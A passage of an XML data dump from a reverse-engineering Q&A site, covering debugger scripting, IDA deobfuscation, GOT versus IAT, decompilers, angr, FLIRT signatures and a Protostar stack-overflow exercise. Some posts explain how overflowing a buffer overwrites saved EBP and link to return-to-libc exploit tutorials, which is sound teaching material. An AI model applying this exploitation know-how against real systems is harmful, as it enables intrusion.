BY-SA 4.0" />
  <row Id="22506" PostTypeId="1" AcceptedAnswerId="22519" CreationDate="2019-11-11T09:43:44.220" Score="0" ViewCount="221" Body="&lt;p&gt;When a breakpoint callback is triggered trying to automate the debugger inside the callback causes the application to become unresponsive. &lt;code&gt;x64dbg&lt;/code&gt; continues functioning but the application itself doesn't resume execution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is only happening when the functions are called inside the BP callback.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from x64dbgpy import *&#xA;&#xA;def handle():&#xA;    pluginsdk.Run()&#xA;&#xA;&#xA;Breakpoint.add(0x81755, handle)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Calling any function such as &lt;code&gt;pluginsdk.StepOver&lt;/code&gt;, etc also causes the freeze.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does x64dbgpy not support automating the debugger inside breakpoint callbacks? Or am I doing something wrong? Suggestions would be great.&lt;/p&gt;&#xA;" OwnerUserId="19294" LastActivityDate="2019-11-12T04:50:21.987" Title="x64dbgpy: application unresponsive when trying to automate inside breakpoint callback" Tags="|binary-analysis|python|dynamic-analysis|x64dbg|automation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22507" PostTypeId="2" ParentId="22482" CreationDate="2019-11-11T11:17:31.037" Score="2" Body="&lt;p&gt;You need to fix the disassembly. For example, this is a call to a location which is not a proper function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call    loc_11B4460&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this call does not return, so all code after it is removed as dead code by the decompiler:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00CA5E6B   call    sub_4E5CE9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see it by the dashed line added by IDA after the call (these lines are added to show breaks in code flow. You can also probably see the break in the code flow in the graph view as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can remove the no-return flag from the target function by editing its properties, and for the first call you need to check why IDA could not create a function at &lt;code&gt;loc_11B4460&lt;/code&gt; and fix it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The decompiler relies on IDA for the disassembly, so if your disassembly is bad you’ll get bad decompilation (aka garbage in-garbage out).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check also &lt;a href=&quot;https://hex-rays.com/products/decompiler/manual/faq.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;the FAQ&lt;/a&gt; for some of the other common problems. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-11-11T11:17:31.037" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22508" PostTypeId="1" CreationDate="2019-11-11T13:33:52.007" Score="0" ViewCount="1501" Body="&lt;p&gt;I am dealing with a heavily obfuscated binary, with certain portions of it having an abundance of junk code when it attempts to set a value at certain offsets to esp/ebp.  My question, having identified the junk code from the actual code, is how can I remove the junk opcodes entirely and shorten the disassembly to the direct operation that it is employing?  I have found no delete/remove bytes in the SDK, and short of a processor module, I am not sure if IDA has this capability, which would be a shame if it didn't.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;from:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add     ecx, 4  &#xA;mov     edi, 32F88Eh    ; junk  &#xA;and     edi, 34h        ; junk  &#xA;add     edi, 0aB0b2cE6h ; junk  &#xA;mov     ebx, 98761234h  ; junk  &#xA;mov     [ebp+edi+47652784], ecx; [ebp+0xa0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The manipulations to &lt;code&gt;edi&lt;/code&gt; are junk in the sense their value is actually static once you apply constant folding to it&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;to:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add ecx, 4  &#xA;mov [ebp+0xa0], ecx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28299" LastEditorUserId="23069" LastEditDate="2019-11-11T13:42:37.607" LastActivityDate="2019-11-12T09:25:10.547" Title="How to remove bytes/opcodes within IDA Pro database" Tags="|ida|deobfuscation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22509" PostTypeId="1" AcceptedAnswerId="22514" CreationDate="2019-11-11T14:17:23.493" Score="4" ViewCount="712" Body="&lt;p&gt;So based on my knowledge on windows apps, as far as i know the IAT gets filled  with correct addresses when the library gets loaded (correct me if I'm wrong)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now in linux, they use GOT, and again based on my knowledge the GOT gets filled in run time by default, meaning first we jump into PLT, then the first time i use a function (for example puts) we first call the dynamic loader by jumping in the beginning of PLT and that fills the corresponding address in GOT, and next time i call puts then i directly jump into it after going into PLT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so this means that by default, windows fills all the addresses in the IAT in load time but linux doesn't, correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and if so, then isn't this a security risk for linux? because in windows IAT is inside the rdata section and is read only, but in linux is read and write! and for example if we have a format string exploit then we can write on GOT but this doesnt happen in windows, am i missing something here? &lt;/p&gt;&#xA;" OwnerUserId="28173" LastActivityDate="2019-11-11T18:44:59.233" Title="IAT vs GOT address resolving: which of them resolve during runtime and which during load time by default?" Tags="|windows|linux|memory|pe|elf|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22511" PostTypeId="1" CreationDate="2019-11-11T14:45:40.127" Score="1" ViewCount="475" Body="&lt;p&gt;Is it possible to reverse the compiled code using a compiler?&lt;br&gt;&#xA;I have a compiler in the form of exe and using it I can compile the file. But there is no possible instruction I got to decompile a file.&lt;br&gt;&#xA;I want to know what are the possibility of getting a decompiled source code from the compiled version?&lt;br&gt;&#xA;Are there any methodology or tools that would help in making it possible?&lt;br&gt;&#xA;Please share your insights.&lt;/p&gt;&#xA;" OwnerUserId="30003" LastActivityDate="2019-11-11T22:26:34.037" Title="Can I decompile a file if I have a compiler?" Tags="|decompilation|tools|decompiler|pwntools|" AnswerCount="2" CommentCount="2" ClosedDate="2019-11-16T08:44:52.870" ContentLicense="CC BY-SA 4.0" />
  <row Id="22513" PostTypeId="2" ParentId="22511" CreationDate="2019-11-11T16:38:45.917" Score="0" Body="&lt;p&gt;Usually, it's not possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should use external tools like ghidra or IDAs decompiler - hex-rays. &lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2019-11-11T16:38:45.917" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22514" PostTypeId="2" ParentId="22509" CreationDate="2019-11-11T18:44:59.233" Score="2" Body="&lt;p&gt;You understanding is correct:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;PE's IAT is resolved by the system loader and can be made read-only afterwards.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;ELF's GOT entries initially point to PLT stubs and are overwritten with the final address on the first call.. meaning GOT needs to remain writable.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Writable GOT is indeed a known source of vulnerabilities which is why mitigations like &lt;a href=&quot;https://mudongliang.github.io/2016/07/11/relro-a-not-so-well-known-memory-corruption-mitigation-technique.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;RELRO&lt;/a&gt; have been introduced. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that PEs can also use &lt;a href=&quot;https://docs.microsoft.com/en-us/cpp/build/reference/delayload-delay-load-import&quot; rel=&quot;nofollow noreferrer&quot;&gt;delay-loaded imports&lt;/a&gt; which work similar to GOT+PLT (resolution on first call) and may be subject to similar issue.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-11-11T18:44:59.233" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22515" PostTypeId="2" ParentId="22508" CreationDate="2019-11-11T18:51:49.017" Score="1" Body="&lt;p&gt;You can't just remove bytes since that would shift the following opcodes and invalidate all relative jumps/calls. The usual approach in such cases is patching the junk instructions with NOPs (0x90 for x86/x64). You can write a smalls script to do it (e.g. using &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/713.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;patch_byte&lt;/code&gt;&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-11-11T18:51:49.017" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22516" PostTypeId="2" ParentId="22511" CreationDate="2019-11-11T22:26:34.037" Score="3" Body="&lt;p&gt;No. In most cases, you cannot obtain the actual source code just because you have the compiler available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it depends on the language. If the source code was written in &lt;code&gt;.NET&lt;/code&gt;, for example, a decompiler such as &lt;code&gt;dnSpy&lt;/code&gt; or &lt;code&gt;ILSpy&lt;/code&gt; can produce relatively accurate source code. However, if it was written in &lt;code&gt;C/C++&lt;/code&gt;, for instance, then it will be harder to decompile and the decompiled result will not be as close to the original source code. Some decompilers that work for &lt;code&gt;C/C++&lt;/code&gt; are &lt;code&gt;retdec&lt;/code&gt; and &lt;code&gt;Ghidra&lt;/code&gt;. &lt;/p&gt;&#xA;" OwnerUserId="17040" LastActivityDate="2019-11-11T22:26:34.037" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22517" PostTypeId="1" CreationDate="2019-11-11T23:36:42.203" Score="1" ViewCount="382" Body="&lt;p&gt;I am currently trying to use angr, and I need to find a string &quot;Done!&quot; which results in the &quot;good termination&quot; of the program. The input is 32 bits and I need to know the input which leads to the &quot;Done!&quot; being printed.&#xA;I thought of using the following in my python script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;b = angr.Project('a.out')&#xA;arg1 = claripy.BVS('arg1', 32)&#xA;b.factory.entry_state(args=['a.out', arg1])&#xA;pg = b.factory.simgr()&#xA;pg.explore(find=lambda x: b'Done!' in x.posix.dumps(1))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my current knowledge of angr, this should result in the path, wich leads to &quot;Done!&quot; being printed. Am I mistaken? With found[0] I could then access the result.&#xA;But angr leaves me with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;SimulationManager with 1 deadended&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as an output for my simulation manager. What am I doing wrong? Are there more requirements needed for this to work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apriciate any help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="30157" LastActivityDate="2019-11-11T23:36:42.203" Title="Angr Use argv as initialstate" Tags="|python|angr|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22518" PostTypeId="2" ParentId="22485" CreationDate="2019-11-12T02:27:15.040" Score="1" Body="&lt;p&gt;I can almost guarantee 'they' are wanting you to perform a &lt;a href=&quot;https://en.wikipedia.org/wiki/Return-to-libc_attack&quot; rel=&quot;nofollow noreferrer&quot;&gt;return to libc exploit&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Some good references&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.exploit-db.com/docs/english/28553-linux-classic-return-to-libc-&amp;amp;-return-to-libc-chaining-tutorial.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;return to libc paper&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://seedsecuritylabs.org/Labs_16.04/PDF/Return_to_Libc.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;open source lab ret to libc lab&lt;/a&gt; (updated -- in 2020 -- version of the originally linked document, &lt;a href=&quot;https://web.archive.org/web/20230117101336/https://seedsecuritylabs.org/Labs_16.04/PDF/Return_to_Libc.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;archived&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://medium.com/@nikhilh20/return-to-libc-exploit-aa3fe6fb0d69&quot; rel=&quot;nofollow noreferrer&quot;&gt;a medium post on ret to libc&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/Bretley/how2exploit_binary/tree/master/exercise-4&quot; rel=&quot;nofollow noreferrer&quot;&gt;solution w/ pwntools&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="25672" LastEditorUserId="245" LastEditDate="2023-01-17T10:14:59.630" LastActivityDate="2023-01-17T10:14:59.630" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22519" PostTypeId="2" ParentId="22506" CreationDate="2019-11-12T04:50:21.987" Score="1" Body="&lt;p&gt;Currently it is not supported to do debug automation in callbacks. This is related to the threading model and is further explained at &lt;a href=&quot;https://x64dbg.com/blog/2016/10/20/threading-model.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://x64dbg.com/blog/2016/10/20/threading-model.html&lt;/a&gt;, which links to some older resources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recently there was an interesting development though, because it became possible to automate in the debug callbacks with x64dbg’s built in scripting language (which I do not recommend). The idea now is to port this idea to a C api, which can then be used by plugins like x64dbgpy or x64dbgPlaytime.&lt;/p&gt;&#xA;" OwnerUserId="2221" LastActivityDate="2019-11-12T04:50:21.987" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22520" PostTypeId="1" AcceptedAnswerId="22521" CreationDate="2019-11-12T05:45:26.543" Score="2" ViewCount="284" Body="&lt;p&gt;So I am reversing an ELF‌ binary, now from my knowledge in C the main function has two argument, argc and argv &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but some linux binaries that i am reversing have 3 when i decompile them! one int and the other two are char**, i assume the second is the argv but what is the last one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;one example is this binary for a CTF‌:‌&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/SPRITZ-Research-Group/ctf-writeups/tree/master/0x00ctf-2017/reverse/challenge-000-50&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/SPRITZ-Research-Group/ctf-writeups/tree/master/0x00ctf-2017/reverse/challenge-000-50&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28109" LastActivityDate="2019-11-12T05:53:56.970" Title="Why is IDA showing three arguments for the main function instead of two in some linux binaries?" Tags="|ida|x86|elf|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22521" PostTypeId="2" ParentId="22520" CreationDate="2019-11-12T05:53:56.970" Score="4" Body="&lt;p&gt;The third one is an array to environment variables that this program has access to. If you read the documentation of &lt;a href=&quot;http://man7.org/linux/man-pages/man2/execve.2.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;execve&lt;/a&gt; it reads as follows:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The argument vector and environment can be accessed by the called&#xA;   program's main function, when it is defined as:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;int main(int argc, char *argv[], char *envp[])&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Note, however, that the use of a third argument to the main function&#xA;   is not specified in POSIX.1; according to POSIX.1, the environment&#xA;   should be accessed via the external variable environ(7).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2019-11-12T05:53:56.970" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22522" PostTypeId="2" ParentId="22508" CreationDate="2019-11-12T09:25:10.547" Score="0" Body="&lt;p&gt;Answering my own question as an additional one to Igor's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using nops excessively is perhaps fine for a single routine, or certain instances (at least for me), but the solution I prefer in this case is just cleaning up the code manually outside of IDA, and then adding a separate segment for it into the idb.  That way I don't have to modify the obfuscated code at all, and can have both (clean/dirty) versions, with the clean one becoming the target for further analysis.&lt;/p&gt;&#xA;" OwnerUserId="28299" LastActivityDate="2019-11-12T09:25:10.547" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22523" PostTypeId="2" ParentId="22180" CreationDate="2019-11-12T09:28:21.313" Score="3" Body="&lt;p&gt;Here are the required steps using &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/22202/23069&quot;&gt;Igor Skochinsky's answer&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Clone musl git repository:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;git clone --depth=1 git://git.musl-libc.org/musl&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Compile the code:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd musl; ./configure; make -s -j2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Extract Flair tool from IDA SDK. Run &lt;code&gt;pelf&lt;/code&gt; (ELF parser) with the musl static&#xA;library which is compiled in above step:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd ./lib&#xA;~/flair/bin/linux/pelf libc.a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output will be something like below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal [/mnt/c/MyFiles/libc.a] (__init_tls.lo): Unknown relocation type 42 (offset in section=0x3a).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;To fix the unsupported relocation error, run &lt;code&gt;pelf&lt;/code&gt; with &lt;code&gt;-r&lt;/code&gt; option:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./flair/bin/linux/pelf -r42:58:0 libc.a musl.pat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;-r&lt;/code&gt; option is specified as &lt;code&gt;-rN:O:L&lt;/code&gt; where N is relocation type, mark as&#xA;variable L bytes at offset O from the relocation address. This creates a PAT file.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Now run &lt;code&gt;sigmake&lt;/code&gt; to create the Flair signature file:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./flair/bin/linux/sigmake -n musl musl.pat musl.sig&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the output does not show any warning then the SIG file is OK. But if there&#xA;any collisions with the function signature the output will be something like below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;libc.sig: modules/leaves: 1550/1775, COLLISIONS: 41&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To mitigate the error, remove comments from &lt;code&gt;musl.exc&lt;/code&gt; collision file. Then run&#xA;the above &lt;code&gt;sigmake&lt;/code&gt; command again. There will be a &lt;code&gt;musl.sig&lt;/code&gt; file which can be&#xA;imported in IDA Pro from File &gt; Load File &gt; FLIRT signature file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FLIRT signature &lt;strong&gt;depends on the C/C++ compiler&lt;/strong&gt;. For my case it is clang. I found&#xA;it in the exception handling function. There will be a static string like &lt;code&gt;CLNGC++\0&lt;/code&gt;.&#xA;The string can not be found in IDA's String Window. So, one has to find the&#xA;exception handling function first. The trick is that the function is called whenever&#xA;a error value returns.&lt;/p&gt;&#xA;" OwnerUserId="23069" LastEditorUserId="23069" LastEditDate="2019-11-19T15:09:54.270" LastActivityDate="2019-11-19T15:09:54.270" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22524" PostTypeId="1" AcceptedAnswerId="22526" CreationDate="2019-11-12T16:50:43.573" Score="2" ViewCount="609" Body="&lt;p&gt;I am fairly new to RE and Binary Exploitation, I have learned basic assembly instructions for Binary Exploitation and I was doing &lt;a href=&quot;https://exploit.education/protostar/stack-zero/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Protostar exercises (stack0)&lt;/a&gt; in which I have to simply overflow the &lt;code&gt;buffer&lt;/code&gt; variable. Disassembly of main function is:-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) disas main&#xA;Dump of assembler code for function main:&#xA;0x080483f4 &amp;lt;main+0&amp;gt;:    push   ebp&#xA;0x080483f5 &amp;lt;main+1&amp;gt;:    mov    ebp,esp&#xA;0x080483f7 &amp;lt;main+3&amp;gt;:    and    esp,0xfffffff0&#xA;0x080483fa &amp;lt;main+6&amp;gt;:    sub    esp,0x60&#xA;0x080483fd &amp;lt;main+9&amp;gt;:    mov    DWORD PTR [esp+0x5c],0x0&#xA;0x08048405 &amp;lt;main+17&amp;gt;:   lea    eax,[esp+0x1c]&#xA;0x08048409 &amp;lt;main+21&amp;gt;:   mov    DWORD PTR [esp],eax&#xA;0x0804840c &amp;lt;main+24&amp;gt;:   call   0x804830c &amp;lt;gets@plt&amp;gt;&#xA;0x08048411 &amp;lt;main+29&amp;gt;:   mov    eax,DWORD PTR [esp+0x5c]&#xA;0x08048415 &amp;lt;main+33&amp;gt;:   test   eax,eax&#xA;0x08048417 &amp;lt;main+35&amp;gt;:   je     0x8048427 &amp;lt;main+51&amp;gt;&#xA;0x08048419 &amp;lt;main+37&amp;gt;:   mov    DWORD PTR [esp],0x8048500&#xA;0x08048420 &amp;lt;main+44&amp;gt;:   call   0x804832c &amp;lt;puts@plt&amp;gt;&#xA;0x08048425 &amp;lt;main+49&amp;gt;:   jmp    0x8048433 &amp;lt;main+63&amp;gt;&#xA;0x08048427 &amp;lt;main+51&amp;gt;:   mov    DWORD PTR [esp],0x8048529&#xA;0x0804842e &amp;lt;main+58&amp;gt;:   call   0x804832c &amp;lt;puts@plt&amp;gt;&#xA;0x08048433 &amp;lt;main+63&amp;gt;:   leave  &#xA;0x08048434 &amp;lt;main+64&amp;gt;:   ret    &#xA;End of assembler dump.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I set a break point on &lt;code&gt;ret&lt;/code&gt; instruction and run the program but when I examine the stack in &lt;code&gt;gdb&lt;/code&gt;, it shows this output(overflow after 90 A's): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) info registers&#xA;eax            0x29 41&#xA;ecx            0xb7fd84c0   -1208122176&#xA;edx            0xb7fd9340   -1208118464&#xA;ebx            0xb7fd7ff4   -1208123404&#xA;esp            0xbffff7bc   0xbffff7bc&#xA;ebp            0x41414141   0x41414141&#xA;esi            0x0  0&#xA;edi            0x0  0&#xA;eip            0x8048434    0x8048434 &amp;lt;main+64&amp;gt;&#xA;eflags         0x200246 [ PF ZF IF ID ]&#xA;cs             0x73 115&#xA;ss             0x7b 123&#xA;ds             0x7b 123&#xA;es             0x7b 123&#xA;fs             0x0  0&#xA;gs             0x33 51&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When looking at &lt;code&gt;ebp&lt;/code&gt; I am really curious to know that what happened that caused &lt;code&gt;ebp&lt;/code&gt; to have value &lt;code&gt;0x41414141&lt;/code&gt;? What I understand is when &lt;code&gt;leave&lt;/code&gt; isntruction is executed stack frame is destroyed and &lt;code&gt;x/x $esp is 0x41414141&lt;/code&gt; which makes sense and &lt;code&gt;x/x $ebp is Cannot access memory at address 0x41414141&lt;/code&gt;&#xA;so how does value of &lt;code&gt;ebp&lt;/code&gt; changed to &lt;code&gt;0x41414141&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I already solved that exercise but while examining the stack I was not getting how &lt;code&gt;ebp&lt;/code&gt; got changed and feel free to edit the question tag because I am not sure what tag will be appropriate.&lt;/p&gt;&#xA;" OwnerUserId="30159" LastEditorUserId="30159" LastEditDate="2019-11-12T16:59:36.093" LastActivityDate="2019-11-12T21:41:13.590" Title="gdb shows that EBP contains a value other than some address(which is what it is supposed to contain). How is this possible?" Tags="|binary-analysis|gdb|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22525" PostTypeId="2" ParentId="15425" CreationDate="2019-11-12T18:58:10.630" Score="0" Body="&lt;p&gt;it is difficult to know from this side of the screen what is your current level. From my personal experience reverse engineering is mostly learned by doing things: By actually trying to solve a real problem. Usually for me once the problem is solved, I lose interest in the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My advice for you is to find a project of larger scale that you want to work on, something that interests you personally, and slowly get going through it.&#xA;Keep a journal of what you are trying to do. A text file will do. Sometimes reverse engineering projects can take more than a few months to complete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you feel that you can still not handle something of this scale, you can check out &lt;strong&gt;ReversingHero&lt;/strong&gt;: It's a program I use to teach beginners about reverse engineering. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ReversingHero contains 15 levels of increasing difficulty, and it seems to be interesting even for experienced reversers. It works on Linux x64, but if you use Windows &gt; 10 you can use WSL to run it. Grab yourself a disassembler, a debugger and start solving the challenges in this file. You can find it here: &#xA;&lt;a href=&quot;https://www.reversinghero.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;ReversingHero&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that ReversingHero has accompanying video course which is paid (not free), but given that you already have some reverse engineering experience I don't think you should be watching the videos.&lt;/p&gt;&#xA;" OwnerUserId="30162" LastActivityDate="2019-11-12T18:58:10.630" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22526" PostTypeId="2" ParentId="22524" CreationDate="2019-11-12T20:15:02.167" Score="4" Body="&lt;p&gt;The &lt;code&gt;leave&lt;/code&gt; instruction is equivalent to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov esp, ebp&#xA;pop ebp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second instruction pops the value on the top of the stack and stores it in &lt;code&gt;ebp&lt;/code&gt;. In the case of a stack-based buffer overflow, your stack layout looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;--- low addresses           high addresses ---&amp;gt;&#xA;[ buffer being overflowed ][saved EBP][RET ADDR]&#xA;                           ^&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When &lt;code&gt;leave&lt;/code&gt; is executed, the &lt;code&gt;mov esp, ebp&lt;/code&gt; instruction first restores &lt;code&gt;esp&lt;/code&gt; to point at the marked location in the diagram above, then pops a value off the stack into &lt;code&gt;ebp&lt;/code&gt;. So if you've overflowed the buffer with 'AAAA...', both the saved &lt;code&gt;ebp&lt;/code&gt; and the return address will be set to &lt;code&gt;0x41414141&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2019-11-12T20:15:02.167" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22527" PostTypeId="2" ParentId="22524" CreationDate="2019-11-12T21:41:13.590" Score="2" Body="&lt;p&gt;For the CPU, &lt;code&gt;ebp&lt;/code&gt; (and even &lt;code&gt;esp&lt;/code&gt; most of the time) are not really different from &lt;code&gt;eax&lt;/code&gt;, &lt;code&gt;ebx&lt;/code&gt; and other registers. They can contain any data, not necessarily valid addresses. You only get problems (faults/exceptions) if you actually try to execute instructions that use those registers as addresses (directly or indirectly), or, in case of &lt;code&gt;ESP&lt;/code&gt;, &lt;a href=&quot;https://wiki.osdev.org/Interrupts&quot; rel=&quot;nofollow noreferrer&quot;&gt;an interrupt happens&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-11-12T21:41:13.590" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22528" PostTypeId="1" CreationDate="2019-11-13T01:11:33.303" Score="2" ViewCount="790" Body="&lt;p&gt;How do I dump the firmware of a USB stick? What are the steps and what tools do I need?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that I may have to take the USB stick apart.&lt;/p&gt;&#xA;" OwnerUserId="30167" LastActivityDate="2019-11-13T11:26:39.980" Title="Dumping USB firmware" Tags="|firmware|" AnswerCount="1" CommentCount="0" ClosedDate="2019-12-01T23:05:44.210" ContentLicense="CC BY-SA 4.0" />
